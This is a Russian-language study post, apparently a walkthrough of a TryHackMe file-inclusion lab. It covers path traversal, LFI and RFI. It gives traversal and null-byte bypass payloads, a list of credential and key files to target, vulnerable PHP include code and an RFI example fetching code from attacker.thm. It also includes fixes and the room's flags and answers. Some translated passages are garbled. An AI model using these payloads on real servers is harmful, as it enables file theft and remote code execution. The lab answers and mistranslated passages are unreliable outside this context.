obuchenie_post
February 19

День 31 - File Inclusion


1. Введение

Что такое включение файлов?

Цель этой встречи — предоставить вам необходимые знания для эксплуатации уязвимостей, связанных с включением файлов, включая локальное включение файлов ( LFI ), удаленное включение файлов ( RFI ) и обход каталогов. Также мы обсудим риски, связанные с этими уязвимостями в случае их обнаружения, и необходимые меры по их устранению. Мы приведем несколько практических примеров каждой уязвимости, а также предложим задачи для самостоятельной работы.

В некоторых сценариях веб-приложения пишутся таким образом, чтобы запрашивать доступ к файлам в заданной системе, включая изображения, статический текст и так далее, посредством параметров. Параметры — это строки параметров запроса, прикрепленные к URL-адресу, которые могут использоваться для получения данных или выполнения действий на основе ввода пользователя. Следующая диаграмма иллюстрирует основные части URL-адреса.

Например, параметры используются в поиске Google, где GET- запросы передают ввод пользователя в поисковую систему. https://www.google.com/search?q=TryHackMe . Если вы не знакомы с этой темой, вы можете посмотреть модуль «Как работает веб», чтобы понять концепцию.

Рассмотрим сценарий, в котором пользователь запрашивает доступ к файлам с веб-сервера. Сначала пользователь отправляет HTTP- запрос на веб-сервер, который включает файл для отображения. Например, если пользователь хочет получить доступ к своему резюме и отобразить его в веб-приложении, запрос может выглядеть следующим образом: http ://webapp.thm/get.php ?file=userCV.pdf , где file — это параметр, а userCV.pdf — это требуемый файл для доступа.

Почему возникают уязвимости, связанные с включением файлов?

Уязвимости, связанные с включением файлов, часто встречаются и используются в различных языках программирования для веб-приложений, таких как PHP , которые написаны и реализованы некачественно. Основная проблема этих уязвимостей заключается в проверке входных данных, когда пользовательские данные не проходят санитарную обработку или проверку, и пользователь контролирует их. Если входные данные не проверены, пользователь может передать в функцию любые входные данные, что и приводит к уязвимости.

В чём заключается риск включения файла в базу данных?

По умолчанию злоумышленник может использовать уязвимости включения файлов для утечки данных, таких как код, учетные данные или другие важные файлы, связанные с веб-приложением или операционной системой. Более того, если злоумышленник может записывать файлы на сервер любым другим способом, включение файлов может быть использовано в сочетании с этим для получения удаленного выполнения команд ( RCE ).

2. Разверните виртуальную машину

Разверните прилагаемую виртуальную машину , чтобы следовать и применять описанную методику, а также выполнять задания. Для доступа к этой виртуальной машине убедитесь, что вы подключены к сети TryHackMe через OpenVPN, или получите к ней доступ напрямую из AttackBox, который можно запустить, нажав синюю кнопку в правом верхнем углу .

Пожалуйста, перейдите по ссылке http ://MACHINE_IP/ , после чего откроется следующая страница:

3. Обход пути

Обход пути

Уязвимость веб-безопасности, также известная как обход каталогов , позволяет злоумышленнику читать ресурсы операционной системы, такие как локальные файлы на сервере, где запущено приложение. Злоумышленник использует эту уязвимость, манипулируя и злоупотребляя URL-адресом веб-приложения для поиска и доступа к файлам или каталогам, хранящимся за пределами корневого каталога приложения.

Уязвимости обхода пути возникают, когда пользовательский ввод передается в функцию, например, file_get_contents в PHP . Важно отметить, что сама функция не является основной причиной уязвимости. Часто причиной уязвимости является некачественная проверка или фильтрация входных данных. В PHP вы можете использовать file_get_contents для чтения содержимого файла. Более подробную информацию о функции можно найти здесь .

На следующем графике показано, как веб-приложение хранит файлы в каталоге /var/www/app . Идеальный сценарий — это когда пользователь запрашивает содержимое файла userCV.pdf из указанного пути /var/www/app/CVs .

Мы можем проверить параметр URL, добавив полезные нагрузки, чтобы посмотреть, как ведет себя веб-приложение. Атаки обхода пути, также известные как атаки точка-точка-слэш , используют перемещение каталога на один шаг вверх с помощью двойных точек ../ . Если злоумышленник обнаружит точку входа, которая в данном случае представляет собой get.php ? file= , то он может отправить что-то вроде следующего: http ://webapp.thm/get.php ?file=.. / ../../../etc/ passwd

Предположим, что проверка входных данных отсутствует, и вместо доступа к PDF-файлам в каталоге /var/www/app/CVs веб-приложение получает файлы из других каталогов, в данном случае из /etc/passwd . Каждая запись перемещается на один каталог, пока не достигнет корневого каталога / . Затем каталог меняется на /etc , и оттуда приложение считывает файл passwd .

В результате веб-приложение отправляет пользователю содержимое файла.

Аналогично, если веб-приложение работает на сервере Windows, злоумышленнику необходимо указать пути к файлам Windows. Например, если злоумышленник хочет прочитать файл boot.ini , расположенный в c:\boot.ini , он может попытаться сделать следующее в зависимости от целевой версии ОС :

http://webapp.thm/get.php?file=../../../../boot.iniили

http://webapp.thm/get.php?file=../../../../windows/win.ini

Здесь действует тот же принцип, что и в операционных системах Linux, где мы поднимаемся по каталогам, пока не достигнем корневого каталога, который обычно находится по адресу .

Иногда разработчики добавляют фильтры, чтобы ограничить доступ только к определенным файлам или каталогам. Ниже приведены некоторые распространенные файлы операционной системы, которые вы можете использовать при тестировании.

Расположение

Описание

/etc/issue

Содержит сообщение или идентификатор системы, который будет выведен перед приглашением к входу в систему.

/etc/profile

Управляет общесистемными переменными по умолчанию, такими как переменные экспорта, маска создания файла (umask), типы терминалов, почтовые сообщения, указывающие на поступление новой почты.

/proc/version

указывает версию ядра Linux

etc/passwd

содержит всех зарегистрированных пользователей, имеющих доступ к системе.

/etc/shadow

содержит информацию о паролях пользователей системы.

/root/.bash_history

содержит историю команд для root пользователя.

/var/log/dmessage

Содержит глобальные системные сообщения, включая сообщения, регистрируемые во время запуска системы.

/var/mail/root

все электронные письма для rootпользователя

/root/.ssh/id_rsa

Приватные SSH- ключи для root-пользователя или любого известного действительного пользователя на сервере.

/var/log/apache2/access.log

запросы к Apacheвеб-серверу

C:\boot.ini

содержит параметры загрузки для компьютеров с прошивкой BIOS.

Вопрос: Какая функция вызывает уязвимости обхода пути в PHP?

Ответ: file_get_contents

4. Включение локальных файлов (LFI)

Включение локальных файлов ( LFI )

Атаки LFI на веб-приложения часто происходят из-за недостаточной осведомленности разработчиков о безопасности. В PHP использование таких функций, как include , require , include_once и require_once, часто приводит к уязвимости веб-приложений. В этой статье мы будем рассматривать PHP , но стоит отметить, что уязвимости LFI также встречаются при использовании других языков, таких как ASP, JSP или даже в приложениях Node.js. Эксплойты LFI основаны на тех же принципах, что и обход пути.

В этом разделе мы рассмотрим различные сценарии LFI и способы их использования.

#1. Предположим, веб-приложение поддерживает два языка, и пользователь может выбрать между английским и арабским языками.

<?PHP 
	include($_GET["lang"]);
?>

Приведённый выше PHP - код использует GET- запрос с параметром URL lang для подключения файла страницы. Вызов можно выполнить , отправив следующий HTTP-запрос: http://webapp.thm/index.php?lang=EN.phpдля загрузки английской страницы или http://webapp.thm/index.php?lang=AR.phpдля загрузки арабской страницы, где файлы EN.php и AR.php находятся в одном каталоге .

Теоретически, мы можем получить доступ к любому читаемому файлу на сервере и отобразить его из приведенного выше кода, если нет никакой проверки входных данных. Допустим, мы хотим прочитать файл /etc/passwd, содержащий конфиденциальную информацию о пользователях операционной системы Linux, мы можем попробовать следующее:http://webapp.thm/get.php?file=/etc/passwd

В данном случае это работает, потому что в функции include не указана директория и отсутствует проверка входных данных.

Теперь примените то, что мы обсуждали, и попробуйте прочитать файл /etc/passwd. Также ответьте на вопрос №1 ниже.

#2. Далее, в следующем коде разработчик решил указать каталог внутри функции.

<?PHP 
	include("languages/". $_GET['lang']); 
?>

В приведенном выше коде разработчик решил использовать функцию include для вызова PHP- страниц из каталога languages ​​только через параметры lang .

Если проверка входных данных отсутствует, злоумышленник может манипулировать URL-адресом, заменив входные данные языка другими файлами, чувствительными к операционной системе, например , /etc/passwd .

Полезная нагрузка снова выглядит аналогично обходу пути , но функция include позволяет нам включать любые вызываемые файлы в текущую страницу. Ниже будет представлен эксплойт:

http ://webapp.thm/index.php ? lang=../../../../etc / passwd

Теперь примените то, что мы обсуждали, попробуйте прочитать файлы на сервере, определите каталог, указанный в функции include, и ответьте на вопрос №2 ниже.

пробуем прочитать welcome.php и получается - пробуем /etc/passwd

Пробуем лабу 2 и видем функцию include которая лежит в каталоге includes

Вопрос: Попробуйте выполнить задание №1 и прочитать файл /etc/passwd . Каким будет URI запроса?

Ответ: /lab1.php?file=/etc/passwd

Вопрос: В лабораторной работе №2, какой каталог указан в функции include?

Ответ:includes

5. Включение локальных файлов (LFI) — продолжение

В этом задании мы немного углубимся в LFI . Мы обсудили несколько методов обхода фильтра внутри функции включения.

#3. В первых двух случаях мы проверили код веб-приложения и поняли, как его использовать для взлома. Однако в этом случае мы проводим тестирование методом «черного ящика», то есть у нас нет исходного кода. В данном случае ошибки имеют важное значение для понимания того, как данные передаются и обрабатываются в веб-приложении.

В этом сценарии у нас есть следующая точка входа: http://webapp.thm/index.php?lang=EN. Если мы введем недопустимые данные, например, THM , мы получим следующую ошибку.

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

Сообщение об ошибке раскрывает важную информацию. При вводе THM в качестве входных данных появляется сообщение об ошибке, показывающее, как выглядит функция включения: include(languages/THM.php);.

Если внимательно посмотреть на каталог, можно заметить, что функция, включающая файлы в каталоге languages, добавляет .php в конец записи. Таким образом, допустимый ввод будет выглядеть примерно так: index.php?lang=EN, где файл EN находится внутри указанного каталога languages ​​и называется EN.php.

Кроме того, сообщение об ошибке содержало еще одну важную информацию о полном пути к каталогу веб-приложения, а именно: /var/www/html/THM-4/.

Чтобы этим воспользоваться, нам нужно применить ../приём, описанный в разделе об обходе каталогов, чтобы выйти из текущей папки. Давайте попробуем следующее:

http://webapp.thm/index.php?lang=../../../../etc/passwd

Обратите внимание, что мы использовали число 4, ../потому что знаем, что путь имеет четыре уровня /var/www/html/THM-4. Но мы всё равно получаем следующую ошибку:

Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

Кажется, мы могли бы выйти из каталога PHP , но функция include всё равно считывает входные данные с добавлением .phpв конце! Это говорит нам о том, что разработчик указывает тип файла для передачи функции include. Чтобы обойти эту проблему, мы можем использовать NULL BYTE, который равен %00.

Использование нулевых байтов — это метод внедрения, при котором закодированное в URL представление, например %00 или 0x00 в шестнадцатеричном формате, складывается с предоставленными пользователем данными для завершения строк. Можно представить это как попытку обмануть веб-приложение, чтобы оно проигнорировало все, что следует за нулевым байтом.

Добавив нулевой байт в конец полезной нагрузки, мы указываем функции включения игнорировать все, что находится после нулевого байта, что может выглядеть следующим образом:

include("languages/../../../../../etc/passwd%00").".php");что эквивалентноinclude("languages/../../../../../etc/passwd");

Примечание: трюк с %00 исправлен и не работает в PHP 5.3.4 и выше.

Теперь примените то, что мы показали в лабораторной работе №3, и попробуйте прочитать файлы /etc/passwd, ответив на вопрос №1 ниже.

#4. В этом разделе разработчик решил отфильтровать ключевые слова, чтобы избежать раскрытия конфиденциальной информации! Фильтруется файл /etc/passwd. Существует два возможных способа обойти фильтр. Во-первых, используя трюк с нулевым байтом %00 или указанием текущего каталога в конце отфильтрованного ключевого слова. /..Эксплойт будет похож на http://webapp.thm/index.php?lang=/etc/passwd/. Мы также можем использовать http://webapp.thm/index.php?lang=/etc/passwd%00.

Чтобы было понятнее, если мы попробуем применить эту концепцию в файловой системе cd .., используя команду `git add`, это вернет нас на один шаг назад; однако, если мы выберем команду `git add` cd ., результат останется в текущем каталоге. Аналогично, если мы попробуем команду `git add` /etc/passwd/.., результатом будет `git add`, /etc/и это потому, что мы переместились на один шаг в корневой каталог. Теперь, если мы попробуем команду `git add` /etc/passwd/., результатом будет `git add`, /etc/passwdпоскольку точка (.) указывает на текущий каталог.

Теперь применим этот метод в лабораторной работе №4 и разберемся, как читать файл /etc/passwd.

#5. Далее, в следующих сценариях разработчик начинает использовать проверку входных данных, фильтруя некоторые ключевые слова. Давайте протестируем и проверим сообщение об ошибке!

http://webapp.thm/index.php?lang=../../../../etc/passwd

Мы получили следующую ошибку!

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

Если мы посмотрим на предупреждение в этом include(languages/etc/passwd)разделе, то увидим, что веб-приложение заменяет ../строку пустой. Существует несколько способов обойти это.

Во-первых, чтобы обойти это ограничение, мы можем отправить следующую полезную нагрузку: ....//....//....//....//....//etc/passwd.

Почему это сработало?

Это работает потому, что PHP-фильтр сопоставляет и заменяет только первую ../найденную подстроку и не выполняет повторный проход, оставляя то, что показано на изображении ниже.

Попробуйте выполнить лабораторную работу №5 и прочитать файл /etc/passwd, обойдя фильтр!

#6. Наконец, мы обсудим случай, когда разработчик заставляет include читать данные из определенного каталога! Например, если веб-приложение запрашивает ввод, который должен включать каталог, например: http://webapp.thm/index.php?lang=languages/EN.phpтогда, чтобы воспользоваться этим, нам нужно включить каталог в полезную нагрузку следующим образом: ?lang=languages/../../../../../etc/passwd.

Попробуйте выполнить это задание в лабораторной работе №6 и определите, какой каталог должен присутствовать в поле ввода.

Вопрос: Попробуйте выполнить задание №3 и прочитать файл /etc/passwd . Как выглядит запрос?

Ответ: /lab3.php?file=../../../../etc/passwd%

Вопрос: Какая функция вызывает обход каталогов в лабораторной работе №4?

Ответ: file_get_contents

Вопрос: Попробуйте выполнить лабораторную работу №6 и проверьте, какой каталог должен быть указан в поле ввода?

Ответ: THM-profile

Вопрос: Попробуйте выполнить задание №6 и прочтите файл /etc/os-release . Что означает значение VERSION_ID ?

Ответ: 12.04

6. Удаленное включение файлов (RFI)

Удаленное включение файлов ( RFI)

Удалённое включение файлов ( RFI ) — это метод включения удалённых файлов в уязвимое приложение. Как и LFI , RFI возникает при некорректной проверке пользовательского ввода, что позволяет злоумышленнику внедрить внешний URL-адрес в функцию включения . Одним из требований для RFI является наличие включенной опции allow_url_fopen .

Риск RFI выше, чем LFI, поскольку уязвимости RFI позволяют злоумышленнику получить возможность удаленного выполнения команд ( RCE ) на сервере. Другие последствия успешной атаки RFI включают:

  • Раскрытие конфиденциальной информации
  • Межсайтовая скриптовая атака ( XSS )
  • Отказ в обслуживании ( DoS )

Для успешной RFI- атаки, при которой злоумышленник размещает вредоносные файлы на своем сервере, внешний сервер должен взаимодействовать с сервером приложений . Затем вредоносный файл внедряется в функцию include посредством HTTP- запросов, и содержимое вредоносного файла выполняется на уязвимом сервере приложений.

Этапы RFI

На рисунке выше показан пример шагов для успешной RFI- атаки! Допустим, злоумышленник размещает PHP- файл на своем собственном сервере по адресу http ://attacker.thm/cmd.txt , где cmd.txt содержит сообщение " Hello THM" .

<?PHP echo "Hello THM"; ?>

Сначала злоумышленник внедряет вредоносный URL-адрес, указывающий на его сервер, например, http : //webapp.thm/index.php ?lang= http ://attacker.thm/cmd.txt . Если проверка входных данных отсутствует, вредоносный URL-адрес передается в функцию include. Затем сервер веб-приложения отправляет GET - запрос на вредоносный сервер для получения файла. В результате веб-приложение включает удаленный файл в функцию include, чтобы выполнить PHP - файл на странице и отправить содержимое выполнения злоумышленнику. В нашем случае на текущей странице где-то должно отображаться сообщение Hello THM .

Перейдите по следующему URL-адресу лаборатории: http://10.49.179.55/playground.php , чтобы попробовать провести атаку с использованием радиочастотных помех (RFI ) .

7. Очистка

Разработчикам важно знать об уязвимостях веб-приложений, о том, как их обнаружить и как предотвратить. Для предотвращения уязвимостей, связанных с включением файлов, можно предложить следующие распространенные варианты:

  1. Поддерживайте актуальность системы и сервисов, включая фреймворки веб-приложений, до последней версии.
  2. Отключите обработку ошибок PHP , чтобы избежать утечки пути к приложению и другой потенциально важной информации.
  3. Межсетевой экран веб-приложений (WAF) — хороший вариант для снижения риска атак на веб-приложения.
  4. Отключите некоторые функции PHP , которые могут привести к уязвимостям включения файлов, если ваше веб-приложение в них не нуждается, например, allow_url_fopen on и allow_url_include .
  5. Тщательно проанализируйте веб-приложение и разрешите использование только тех протоколов и PHP- оберток, которые в этом необходимы.
  6. Никогда не доверяйте пользовательскому вводу и обязательно реализуйте надлежащую проверку входных данных на предмет включения файлов.
  7. Внедрить систему белых списков для имен и расположений файлов, а также черных списков.

8. Испытание

Отличная работа! Теперь примените полученные знания, чтобы захватить флаги! Ознакомление с основами веб-протокола HTTP может помочь вам справиться с этими задачами.

Убедитесь, что подключенная виртуальная машина запущена и работает, затем перейдите по ссылке : http://10.49.179.55/challenges/index.php

Этапы тестирования LFI

  1. Найдите точку входа, которая может быть получена через GET , POST , COOKIE или значения заголовков HTTP !
  2. Введите допустимый текст, чтобы увидеть, как работает веб-сервер.
  3. Введите недопустимые данные, включая специальные символы и распространенные имена файлов.
  4. Не всегда доверяйте тому, что введенные вами данные в формы соответствуют вашим намерениям! Используйте адресную строку браузера или такой инструмент, как Burpsuite.
  5. При вводе некорректных данных проверьте наличие ошибок, чтобы определить текущий путь к веб-приложению; если ошибок нет, то метод проб и ошибок может оказаться лучшим вариантом.
  6. Разберитесь в проверке входных данных и в наличии каких-либо фильтров!
  7. Попробуйте внедрить допустимую запись для чтения конфиденциальных файлов.

Вопрос: Захват флага Flag1 в файле /etc/flag1

Ответ: F1x3d-iNpu7-f0rrn

Вопрос: Захват флага Flag2 в файле /etc/flag2

Измените настройки файлов cookie, изменив параметр Value, и сначала замените «guest» на «Admin». Затем замените «Admin» на «../../../../../etc/flag2%00». %00 используется для удаления завершающей части .php.

Ответ: c00k13_i5_yuMmy1

Вопрос: Захват флага Flag2 в файле /etc/flag3

Проверьте страницу и нажмите «Инспектор». Замените GET на POST и обновите страницу. Используйте Burp и в параметре файла введите: ../../../../etc/flag3%00, и, наконец, после отправки запроса вы получите флаг.

Ответ: P0st_1s_w0rk1in9

Вопрос: Получите RCE в лабораторной работе #Playground /playground.php с помощью RFI для выполнения команды hostname . Какой будет результат?

Для выполнения команды, использующей имя хоста, сначала создадим локально в системе файл с именем хоста PHP и сохраним его. Содержимое файла будет выглядеть следующим образом:

Ответ:lfi-vm-thm-f8c5b1a78692


Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!